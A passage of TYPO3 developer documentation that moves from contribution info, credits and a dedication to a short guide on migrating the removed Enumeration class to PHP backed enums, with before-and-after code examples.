Quite a few others come from the "styleguide" extension. You can install it, if you want to try out these examples yourself and use them as a basis for your own extensions.

Feedback and Contribute

If you find an error in this manual, please be so kind to hit the "Edit me on GitHub" button in the top right corner and submit a pull request via GitHub.

Alternatively you can just report an issue on GitHub.

You can find more about this in Writing Documentation:

If you are currently not reading the online version, go to https://docs.typo3.org/typo3cms/CoreApiReference/.

Maintaining high quality documentation requires time and effort and the TYPO3 Documentation Team always appreciates support.

If you want to support us, please join the slack channel #typo3-documentation on Slack (Register for Slack).

And finally, as a last resort, you can get in touch with the documentation team by mail.

Credits

This manual was originally written by Kasper Skårhøj. It was further maintained, refreshed and expanded by François Suter.

The first version of the security chapter has been written by Ekkehard Guembel and Michael Hirdes and we would like to thank them for this. Further thanks to the TYPO3 Security Team for their work for the TYPO3 project. A special thank goes to Stefan Esser for his books and articles on PHP security, Jochen Weiland for an initial foundation and Michael Schams for compiling the content of the security chapter and coordinating the collaboration between several teams. He managed the whole process of getting the Security Guide to a high quality.

Dedication

I want to dedicate this document to the people in the TYPO3 community who have the discipline to do the boring job of writing documentation for their extensions or contribute to the TYPO3 documentation in general. It's great to have good coders, but it's even more important to have coders with character to carry their work through till the end - even when it means spending days writing good documents. Go for completeness!

- kasper

Sitemap

RequireJS dependency handling

Use RequireJS in your own extension

RequireJS (Removed)

Shim library to use it as own RequireJS modules

Enumerations

Changed in version 14.0

The abstract class \TYPO3\CMS\Core\Type\Enumeration was deprecated with TYPO3 v13.0 and removed with TYPO3 v14.0. Classes extending Enumeration need to be converted into PHP built-in backed enums.

Migration to backed enums

Class definition:

EXT:my_extension/Classes/Enumeration/State.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Enumeration;

use TYPO3\CMS\Core\Type\Enumeration;

class State extends Enumeration
{
    public const STATE_DEFAULT = 'somestate';
    public const STATE_DISABLED = 'disabled';
}
Copied!

should be converted into:

EXT:my_extension/Classes/Enumeration/State.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Enumeration;

enum State: string
{
    case STATE_DEFAULT = 'somestate';
    case STATE_DISABLED = 'disabled';
}
Copied!

Existing method calls must be adapted.